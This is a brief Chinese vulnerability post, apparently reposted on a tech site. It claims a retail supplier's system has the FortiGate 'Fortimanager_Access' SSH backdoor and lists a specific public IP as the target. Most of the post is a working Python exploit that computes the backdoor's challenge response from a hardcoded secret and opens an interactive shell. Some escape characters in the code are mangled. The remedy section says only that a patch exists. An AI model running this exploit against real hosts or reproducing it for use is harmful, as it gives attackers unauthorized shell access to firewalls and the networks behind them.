华联某供销商系统存在防火墙后门漏洞（FROTIGATE）企业安全分享!

华联某供销商系统存在防火墙后门漏洞（FROTIGATE）

废话不多说~

 问题URL

61.138.105.218

利用POC
 

 def custom_handler(title, instructions, prompt_list):     n = prompt_list[0][0]     m = hashlib.sha1()     m.update('x00' * 12)     m.update(n + 'FGTAbc11*xy+Qqz27')     m.update('xA3x88xBAx2Ex42x4CxB0x4Ax53x79x30xC1x31x07xCCx3FxA1x32x90x29xA9x81x5Bx70')     h = 'AK1' + base64.b64encode('x00' * 12 + m.digest())     return [h]   def main():     if len(sys.argv) < 2:         print 'Usage: ' + sys.argv[0] + ' '         exit(-1)      client = paramiko.SSHClient()     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())      try:         client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)     except paramiko.ssh_exception.SSHException:         pass      trans = client.get_transport()     try:         trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)     except paramiko.ssh_exception.AuthenticationException:         pass      trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)     chan = client.invoke_shell()      oldtty = termios.tcgetattr(sys.stdin)     try:         tty.setraw(sys.stdin.fileno())         tty.setcbreak(sys.stdin.fileno())         chan.settimeout(0.0)          while True:             r, w, e = select.select([chan, sys.stdin], [], [])             if chan in r:                 try:                     x = u(chan.recv(1024))                     if len(x) == 0:                         sys.stdout.write('rn*** EOFrn')                         break                     sys.stdout.write(x)                     sys.stdout.flush()                 except socket.timeout:                     pass             if sys.stdin in r:                 x = sys.stdin.read(1)                 if len(x) == 0:                     break                 chan.send(x)      finally:         termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)   if __name__ == '__main__':     main()

解决方案：

补丁已有~

—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>